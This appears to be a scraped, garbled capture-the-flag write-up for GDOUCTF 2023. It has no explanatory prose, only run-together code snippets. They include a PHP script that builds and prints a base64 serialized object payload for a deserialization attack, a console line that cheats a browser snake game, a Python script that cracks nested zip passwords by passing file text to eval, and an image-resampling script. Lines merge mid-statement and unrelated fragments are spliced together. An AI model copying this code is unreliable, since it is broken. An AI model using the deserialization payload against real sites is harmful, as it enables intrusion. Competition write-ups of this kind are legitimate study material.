GDOUCTF 2023
Last updated
$a = new school(new classroom("one class", new teacher("ing", "department")), "ong");
$str = base64_encode(serialize($a));
echo $str;
// Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9 $1 = $flag;
$flag = $1 = $flag;let snake = new Snake('eatSnake', 0, false);
setInterval(() => { snake.speed = 0 }, 1);$ string flag.bmppasswd = open('./task/password1000.txt').read()
passwd = passwd.replace('one', '1')
passwd = passwd.replace('two', '2')
passwd = passwd.replace('three', '3')
passwd = passwd.replace('four', '4')
passwd = passwd.replace('five', '5')
passwd = passwd.replace('six', '6')
passwd = passwd.replace('seven', '7')
passwd = passwd.replace('eight', '8')
passwd = passwd.replace('nine', '9')
passwd = passwd.replace('zero', '0')
passwd = passwd.replace('plus', '+')
passwd = passwd.replace('times', '*')
print(passwd)
# 8509527+170747742+410330*351657887+51791538print((8509527+170747742+410330)*351657887+51791538)
# 63181528278494851passwd = passwd.replace('minus', '-')
passwd = passwd.replace('mod', '%')import zipfile
import re
import os
def password(_path):
pwd = open(_path)
passwd = pwd.read()
passwd = passwd.replace('one', '1')
passwd = passwd.replace('two', '2')
passwd = passwd.replace('three', '3')
passwd = passwd.replace('four', '4')
passwd = passwd.replace('five', '5')
passwd = passwd.replace('six', '6')
passwd = passwd.replace('seven', '7')
passwd = passwd.replace('eight', '8')
passwd = passwd.replace('nine', '9')
passwd = passwd.replace('zero', '0')
passwd = passwd.replace('plus', '+')
passwd = passwd.replace('times', '*')
passwd = passwd.replace('minus', '-')
passwd = passwd.replace('mod', '%')
number = re.findall(r'\d+', passwd)
symbol = re.findall(r'\D+', passwd)
result = ''
for i in range(len(symbol)):
if i == 0:
result = str(eval(str(int(number[i])) + symbol[i] + str(int(number[i + 1]))))
else:
result = str(eval(result + symbol[i] + str(int(number[i + 1]))))
pwd.close()
return str(abs(int(result)))
path = './Matryoshka.zip'
zip_src = zipfile.ZipFile(path, 'r')
zip_src.extractall('./task')
zip_src.close()
for i in range(1000, -1, -1):
zip_path = "./task/Matryoshka{}.zip".format(i)
password_path = "./task/password{}.txt".format(i)
print(i, password(password_path).encode())
zip_src = zipfile.ZipFile(zip_path)
zip_src.extractall('./task', pwd=password(password_path).encode())
zip_src.close()
os.remove(zip_path)
os.remove(password_path)from PIL import Image
original_image = Image.open('arcaea.png')
new_width = original_image.width // 12
new_height = original_image.height // 12
new_image = Image.new("RGB",(new_width,new_height))
for x in range(new_width):
for y in range(new_height):
pixel = original_image.getpixel((x *12,y*12))
new_image.putpixel((x,y),pixel)
new_image.save("flag.png")